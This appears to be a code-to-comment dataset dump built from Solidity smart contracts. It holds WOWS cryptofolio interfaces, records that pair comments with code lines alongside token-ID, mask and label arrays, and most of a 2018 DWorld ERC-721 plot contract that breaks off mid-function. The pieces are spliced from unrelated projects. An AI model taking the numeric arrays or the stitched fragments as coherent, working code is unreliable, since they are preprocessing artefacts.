/** * @notice Cryptofolio interface * * TODO: Describe cryptofolios */ interface IWOWSCryptofolio { ////////////////////////////////////////////////////////////////////////////// // Initialization ////////////////////////////////////////////////////////////////////////////// /** * @dev Initialize the deployed contract after creation * * This is a one time call which sets _deployer to msg.sender. * Subsequent calls reverts. */ function initialize() external; ////////////////////////////////////////////////////////////////////////////// // Getters ////////////////////////////////////////////////////////////////////////////// /** * @dev Return array of cryptofolio token IDs * * The token IDs belong to the contract tradefloor. * * @param tradefloor The tradefloor items belong to * * @return tokenIds The token IDs in scope of operator * @return idsLength The number of valid token IDs */ function getCryptofolio(address tradefloor) external view returns (uint256[] memory tokenIds, uint256 idsLength); ////////////////////////////////////////////////////////////////////////////// // State modifiers ////////////////////////////////////////////////////////////////////////////// /** * @dev Set the owner of the underlying NFT * * This function is called if ownership of the parent NFT has changed. * * The new owner gets allowance to transfer cryptofolio items. The new owner * is allowed to transfer / burn cryptofolio items. Make sure that allowance * is removed from previous owner. * * @param owner The new owner of the underlying NFT */ function setOwner(address owner) external; /** * @dev Allow owner (of parent NFT) to approve external operators to transfer * our cryptofolio items * * The NFT owner is allowed to approve operator to handle cryptofolios. * * @param operator The operator * @param allow True to approve for all NFTs, false to revoke approval */ function setApprovalForAll(address operator, bool allow) external; /** * @dev Burn all cryptofolio items * * In case an underlying NFT is burned, we also burn the cryptofolio. */ function burn() external; } /* * Copyright (C) 2021 The Wolfpack * This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance * * SPDX-License-Identifier: Apache-2.0 * See the file LICENSES/README.md for more information. */ pragma solidity >=0.7.0 <0.8.0; /** * @notice Cryptofolio interface * * TODO: Describe cryptofolios */ interface IWOWSERC1155 { ////////////////////////////////////////////////////////////////////////////// // Getters ////////////////////////////////////////////////////////////////////////////// /** * @dev Check if the specified address is a known tradefloor * * @param account The address to check * * @return True if the address is a known tradefloor, false otherwise */ function isTradeFloor(address account) external view returns (bool); /** * @dev Get the token ID of a given address * * A cross check is required because token ID 0 is valid. * * @param tokenAddress The address to convert to a token ID * * @return The token ID on success, or uint256(-1) if `tokenAddress` does not * belong to a token ID */ function addressToTokenId(address tokenAddress) external view returns (uint256); /** * @dev Get the address for a given token ID * * @param tokenId The token ID to convert * * @return The address, or address(0) in case the token ID does not belong * to an NFT */ function tokenIdToAddress(uint256 tokenId) external view returns (address); /** * @dev Get the next mintable token ID for the specified card * * @param level The level of the card * @param cardId The token ID of the card * * @return bool True if a free token ID was found, false otherwise * @return uint256 The first free token ID if one was found, or invalid otherwise */ function getNextMintableTokenId(uint8 level, uint8 cardId) external view returns (bool, uint256); /** * @dev Return the next mintable custom token ID */ function getNextMintableCustomToken() external view returns (uint256); ////////////////////////////////////////////////////////////////////////////// // State modifiers ////////////////////////////////////////////////////////////////////////////// /** * @dev Set the URI for either predefined cards or custom cards * * For changing the default URI for predefined cards, token ID 0 must be * passed. Custom token ID's (> 32-bit range) get their own URI per token ID. * * @param tokenId The token ID whose URI is being set. Use `tokenId` == 0 to * set the default URI. `tokenId` >= 0xFFFFFFFF is for custom URIs. * @param _uri The URI, also allowing for the ERC-1155 {id} mechanism. */ function setURI(uint256 tokenId, string memory _uri) external; /** * @dev Set the URI which is returned for custom cards without specific URI * * @param _uri The URI, also allowing for the ERC-1155 {id} mechanism. */ function setCustomDefaultURI(string memory _uri) external; /** * @dev Each custom card has its own level. Level will be used when * calculating rewards and raiding power. * * @param tokenId The ID of the token whose level is being set * @param cardLevel The new level of the specified token */ function setCustomCardLevel(uint256 tokenId, uint8 cardLevel) external; }
* @dev See {IWOWSCryptofolio-initialize}./
function initialize() external override { require(address(_deployer) == address(0), 'CF: Already initialized'); _deployer = IWOWSERC1155(msg.sender); }
14,767,985
[ 1, 9704, 288, 45, 59, 7306, 2312, 2015, 792, 355, 1594, 17, 11160, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 4046, 1435, 3903, 3849, 288, 203, 565, 2583, 12, 2867, 24899, 12411, 264, 13, 422, 1758, 12, 20, 3631, 296, 8955, 30, 17009, 6454, 8284, 203, 565, 389, 12411, 264, 273, 467, 59, 7306, 2123, 39, 2499, 2539, 12, 3576, 18, 15330, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xf416854209769796f3367c785A3F155a9fe2D6B7/sources/project:/contracts/WHAPcoin_Liquidity.sol
WHAPcoin contract instance
WHAPcoin public _WHAPcoinContract;
5,572,226
[ 1, 12557, 2203, 12645, 6835, 791, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 14735, 2203, 12645, 1071, 389, 12557, 2203, 12645, 8924, 31, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xb8bf73550f251562d308882e032225a700a7b9bc //Contract name: DWorldCore //Balance: 0 Ether //Verification Date: 2/3/2018 //Transacion Count: 7 // CODE STARTS HERE pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } /// @title Interface for contracts conforming to ERC-721: Deed Standard /// @author William Entriken (https://phor.net), et al. /// @dev Specification at https://github.com/ethereum/EIPs/pull/841 (DRAFT) interface ERC721 { // COMPLIANCE WITH ERC-165 (DRAFT) ///////////////////////////////////////// /// @dev ERC-165 (draft) interface signature for itself // bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7 // bytes4(keccak256('supportsInterface(bytes4)')); /// @dev ERC-165 (draft) interface signature for ERC721 // bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b // bytes4(keccak256('ownerOf(uint256)')) ^ // bytes4(keccak256('countOfDeeds()')) ^ // bytes4(keccak256('countOfDeedsByOwner(address)')) ^ // bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^ // bytes4(keccak256('approve(address,uint256)')) ^ // bytes4(keccak256('takeOwnership(uint256)')); /// @notice Query a contract to see if it supports a certain interface /// @dev Returns `true` the interface is supported and `false` otherwise, /// returns `true` for INTERFACE_SIGNATURE_ERC165 and /// INTERFACE_SIGNATURE_ERC721, see ERC-165 for other interface signatures. function supportsInterface(bytes4 _interfaceID) external pure returns (bool); // PUBLIC QUERY FUNCTIONS ////////////////////////////////////////////////// /// @notice Find the owner of a deed /// @param _deedId The identifier for a deed we are inspecting /// @dev Deeds assigned to zero address are considered destroyed, and /// queries about them do throw. /// @return The non-zero address of the owner of deed `_deedId`, or `throw` /// if deed `_deedId` is not tracked by this contract function ownerOf(uint256 _deedId) external view returns (address _owner); /// @notice Count deeds tracked by this contract /// @return A count of the deeds tracked by this contract, where each one of /// them has an assigned and queryable owner function countOfDeeds() public view returns (uint256 _count); /// @notice Count all deeds assigned to an owner /// @dev Throws if `_owner` is the zero address, representing destroyed deeds. /// @param _owner An address where we are interested in deeds owned by them /// @return The number of deeds owned by `_owner`, possibly zero function countOfDeedsByOwner(address _owner) public view returns (uint256 _count); /// @notice Enumerate deeds assigned to an owner /// @dev Throws if `_index` >= `countOfDeedsByOwner(_owner)` or if /// `_owner` is the zero address, representing destroyed deeds. /// @param _owner An address where we are interested in deeds owned by them /// @param _index A counter between zero and `countOfDeedsByOwner(_owner)`, /// inclusive /// @return The identifier for the `_index`th deed assigned to `_owner`, /// (sort order not specified) function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _deedId); // TRANSFER MECHANISM ////////////////////////////////////////////////////// /// @dev This event emits when ownership of any deed changes by any /// mechanism. This event emits when deeds are created (`from` == 0) and /// destroyed (`to` == 0). Exception: during contract creation, any /// transfers may occur without emitting `Transfer`. event Transfer(address indexed from, address indexed to, uint256 indexed deedId); /// @dev This event emits on any successful call to /// `approve(address _spender, uint256 _deedId)`. Exception: does not emit /// if an owner revokes approval (`_to` == 0x0) on a deed with no existing /// approval. event Approval(address indexed owner, address indexed approved, uint256 indexed deedId); /// @notice Approve a new owner to take your deed, or revoke approval by /// setting the zero address. You may `approve` any number of times while /// the deed is assigned to you, only the most recent approval matters. /// @dev Throws if `msg.sender` does not own deed `_deedId` or if `_to` == /// `msg.sender`. /// @param _deedId The deed you are granting ownership of function approve(address _to, uint256 _deedId) external; /// @notice Become owner of a deed for which you are currently approved /// @dev Throws if `msg.sender` is not approved to become the owner of /// `deedId` or if `msg.sender` currently owns `_deedId`. /// @param _deedId The deed that is being transferred function takeOwnership(uint256 _deedId) external; // SPEC EXTENSIONS ///////////////////////////////////////////////////////// /// @notice Transfer a deed to a new owner. /// @dev Throws if `msg.sender` does not own deed `_deedId` or if /// `_to` == 0x0. /// @param _to The address of the new owner. /// @param _deedId The deed you are transferring. function transfer(address _to, uint256 _deedId) external; } /// @title Metadata extension to ERC-721 interface /// @author William Entriken (https://phor.net) /// @dev Specification at https://github.com/ethereum/EIPs/pull/841 (DRAFT) interface ERC721Metadata { /// @dev ERC-165 (draft) interface signature for ERC721 // bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11 // bytes4(keccak256('name()')) ^ // bytes4(keccak256('symbol()')) ^ // bytes4(keccak256('deedUri(uint256)')); /// @notice A descriptive name for a collection of deeds managed by this /// contract /// @dev Wallets and exchanges MAY display this to the end user. function name() public pure returns (string _deedName); /// @notice An abbreviated name for deeds managed by this contract /// @dev Wallets and exchanges MAY display this to the end user. function symbol() public pure returns (string _deedSymbol); /// @notice A distinct URI (RFC 3986) for a given token. /// @dev If: /// * The URI is a URL /// * The URL is accessible /// * The URL points to a valid JSON file format (ECMA-404 2nd ed.) /// * The JSON base element is an object /// then these names of the base element SHALL have special meaning: /// * "name": A string identifying the item to which `_deedId` grants /// ownership /// * "description": A string detailing the item to which `_deedId` grants /// ownership /// * "image": A URI pointing to a file of image/* mime type representing /// the item to which `_deedId` grants ownership /// Wallets and exchanges MAY display this to the end user. /// Consider making any images at a width between 320 and 1080 pixels and /// aspect ratio between 1.91:1 and 4:5 inclusive. function deedUri(uint256 _deedId) external pure returns (string _uri); } /// @dev Implements access control to the DWorld contract. contract DWorldAccessControl is Claimable, Pausable, CanReclaimToken { address public cfoAddress; function DWorldAccessControl() public { // The creator of the contract is the initial CFO. cfoAddress = msg.sender; } /// @dev Access modifier for CFO-only functionality. modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Assigns a new address to act as the CFO. Only available to the current contract owner. /// @param _newCFO The address of the new CFO. function setCFO(address _newCFO) external onlyOwner { require(_newCFO != address(0)); cfoAddress = _newCFO; } } /// @dev Defines base data structures for DWorld. contract DWorldBase is DWorldAccessControl { using SafeMath for uint256; /// @dev All minted plots (array of plot identifiers). There are /// 2^16 * 2^16 possible plots (covering the entire world), thus /// 32 bits are required. This fits in a uint32. Storing /// the identifiers as uint32 instead of uint256 makes storage /// cheaper. (The impact of this in mappings is less noticeable, /// and using uint32 in the mappings below actually *increases* /// gas cost for minting). uint32[] public plots; mapping (uint256 => address) identifierToOwner; mapping (uint256 => address) identifierToApproved; mapping (address => uint256) ownershipDeedCount; // Boolean indicating whether the plot was bought before the migration. mapping (uint256 => bool) public identifierIsOriginal; /// @dev Event fired when a plot's data are changed. The plot /// data are not stored in the contract directly, instead the /// data are logged to the block. This gives significant /// reductions in gas requirements (~75k for minting with data /// instead of ~180k). However, it also means plot data are /// not available from *within* other contracts. event SetData(uint256 indexed deedId, string name, string description, string imageUrl, string infoUrl); /// @notice Get all minted plots. function getAllPlots() external view returns(uint32[]) { return plots; } /// @dev Represent a 2D coordinate as a single uint. /// @param x The x-coordinate. /// @param y The y-coordinate. function coordinateToIdentifier(uint256 x, uint256 y) public pure returns(uint256) { require(validCoordinate(x, y)); return (y << 16) + x; } /// @dev Turn a single uint representation of a coordinate into its x and y parts. /// @param identifier The uint representation of a coordinate. function identifierToCoordinate(uint256 identifier) public pure returns(uint256 x, uint256 y) { require(validIdentifier(identifier)); y = identifier >> 16; x = identifier - (y << 16); } /// @dev Test whether the coordinate is valid. /// @param x The x-part of the coordinate to test. /// @param y The y-part of the coordinate to test. function validCoordinate(uint256 x, uint256 y) public pure returns(bool) { return x < 65536 && y < 65536; // 2^16 } /// @dev Test whether an identifier is valid. /// @param identifier The identifier to test. function validIdentifier(uint256 identifier) public pure returns(bool) { return identifier < 4294967296; // 2^16 * 2^16 } /// @dev Set a plot's data. /// @param identifier The identifier of the plot to set data for. function _setPlotData(uint256 identifier, string name, string description, string imageUrl, string infoUrl) internal { SetData(identifier, name, description, imageUrl, infoUrl); } } /// @dev Holds deed functionality such as approving and transferring. Implements ERC721. contract DWorldDeed is DWorldBase, ERC721, ERC721Metadata { /// @notice Name of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function name() public pure returns (string _deedName) { _deedName = "DWorld Plots"; } /// @notice Symbol of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function symbol() public pure returns (string _deedSymbol) { _deedSymbol = "DWP"; } /// @dev ERC-165 (draft) interface signature for itself bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7 bytes4(keccak256('supportsInterface(bytes4)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('countOfDeeds()')) ^ bytes4(keccak256('countOfDeedsByOwner(address)')) ^ bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11 bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('deedUri(uint256)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. /// (ERC-165 and ERC-721.) function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { return ( (_interfaceID == INTERFACE_SIGNATURE_ERC165) || (_interfaceID == INTERFACE_SIGNATURE_ERC721) || (_interfaceID == INTERFACE_SIGNATURE_ERC721Metadata) ); } /// @dev Checks if a given address owns a particular plot. /// @param _owner The address of the owner to check for. /// @param _deedId The plot identifier to check for. function _owns(address _owner, uint256 _deedId) internal view returns (bool) { return identifierToOwner[_deedId] == _owner; } /// @dev Approve a given address to take ownership of a deed. /// @param _from The address approving taking ownership. /// @param _to The address to approve taking ownership. /// @param _deedId The identifier of the deed to give approval for. function _approve(address _from, address _to, uint256 _deedId) internal { identifierToApproved[_deedId] = _to; // Emit event. Approval(_from, _to, _deedId); } /// @dev Checks if a given address has approval to take ownership of a deed. /// @param _claimant The address of the claimant to check for. /// @param _deedId The identifier of the deed to check for. function _approvedFor(address _claimant, uint256 _deedId) internal view returns (bool) { return identifierToApproved[_deedId] == _claimant; } /// @dev Assigns ownership of a specific deed to an address. /// @param _from The address to transfer the deed from. /// @param _to The address to transfer the deed to. /// @param _deedId The identifier of the deed to transfer. function _transfer(address _from, address _to, uint256 _deedId) internal { // The number of plots is capped at 2^16 * 2^16, so this cannot // be overflowed. ownershipDeedCount[_to]++; // Transfer ownership. identifierToOwner[_deedId] = _to; // When a new deed is minted, the _from address is 0x0, but we // do not track deed ownership of 0x0. if (_from != address(0)) { ownershipDeedCount[_from]--; // Clear taking ownership approval. delete identifierToApproved[_deedId]; } // Emit the transfer event. Transfer(_from, _to, _deedId); } // ERC 721 implementation /// @notice Returns the total number of deeds currently in existence. /// @dev Required for ERC-721 compliance. function countOfDeeds() public view returns (uint256) { return plots.length; } /// @notice Returns the number of deeds owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function countOfDeedsByOwner(address _owner) public view returns (uint256) { return ownershipDeedCount[_owner]; } /// @notice Returns the address currently assigned ownership of a given deed. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _deedId) external view returns (address _owner) { _owner = identifierToOwner[_deedId]; require(_owner != address(0)); } /// @notice Approve a given address to take ownership of a deed. /// @param _to The address to approve taking owernship. /// @param _deedId The identifier of the deed to give approval for. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; approveMultiple(_to, _deedIds); } /// @notice Approve a given address to take ownership of multiple deeds. /// @param _to The address to approve taking ownership. /// @param _deedIds The identifiers of the deeds to give approval for. function approveMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Ensure the sender is not approving themselves. require(msg.sender != _to); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // Require the sender is the owner of the deed. require(_owns(msg.sender, _deedId)); // Perform the approval. _approve(msg.sender, _to, _deedId); } } /// @notice Transfer a deed to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721, or your /// deed may be lost forever. /// @param _to The address of the recipient, can be a user or contract. /// @param _deedId The identifier of the deed to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; transferMultiple(_to, _deedIds); } /// @notice Transfers multiple deeds to another address. If transferring to /// a smart contract be VERY CAREFUL to ensure that it is aware of ERC-721, /// or your deeds may be lost forever. /// @param _to The address of the recipient, can be a user or contract. /// @param _deedIds The identifiers of the deeds to transfer. function transferMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. require(_to != address(this)); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // One can only transfer their own plots. require(_owns(msg.sender, _deedId)); // Transfer ownership _transfer(msg.sender, _to, _deedId); } } /// @notice Transfer a deed owned by another address, for which the calling /// address has previously been granted transfer approval by the owner. /// @param _deedId The identifier of the deed to be transferred. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; takeOwnershipMultiple(_deedIds); } /// @notice Transfer multiple deeds owned by another address, for which the /// calling address has previously been granted transfer approval by the owner. /// @param _deedIds The identifier of the deed to be transferred. function takeOwnershipMultiple(uint256[] _deedIds) public whenNotPaused { for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; address _from = identifierToOwner[_deedId]; // Check for transfer approval require(_approvedFor(msg.sender, _deedId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, msg.sender, _deedId); } } /// @notice Returns a list of all deed identifiers assigned to an address. /// @param _owner The owner whose deeds we are interested in. /// @dev This method MUST NEVER be called by smart contract code. It's very /// expensive and is not supported in contract-to-contract calls as it returns /// a dynamic array (only supported for web3 calls). function deedsOfOwner(address _owner) external view returns(uint256[]) { uint256 deedCount = countOfDeedsByOwner(_owner); if (deedCount == 0) { // Return an empty array. return new uint256[](0); } else { uint256[] memory result = new uint256[](deedCount); uint256 totalDeeds = countOfDeeds(); uint256 resultIndex = 0; for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { result[resultIndex] = identifier; resultIndex++; } } return result; } } /// @notice Returns a deed identifier of the owner at the given index. /// @param _owner The address of the owner we want to get a deed for. /// @param _index The index of the deed we want. function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { // The index should be valid. require(_index < countOfDeedsByOwner(_owner)); // Loop through all plots, accounting the number of plots of the owner we've seen. uint256 seen = 0; uint256 totalDeeds = countOfDeeds(); for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { if (seen == _index) { return identifier; } seen++; } } } /// @notice Returns an (off-chain) metadata url for the given deed. /// @param _deedId The identifier of the deed to get the metadata /// url for. /// @dev Implementation of optional ERC-721 functionality. function deedUri(uint256 _deedId) external pure returns (string uri) { 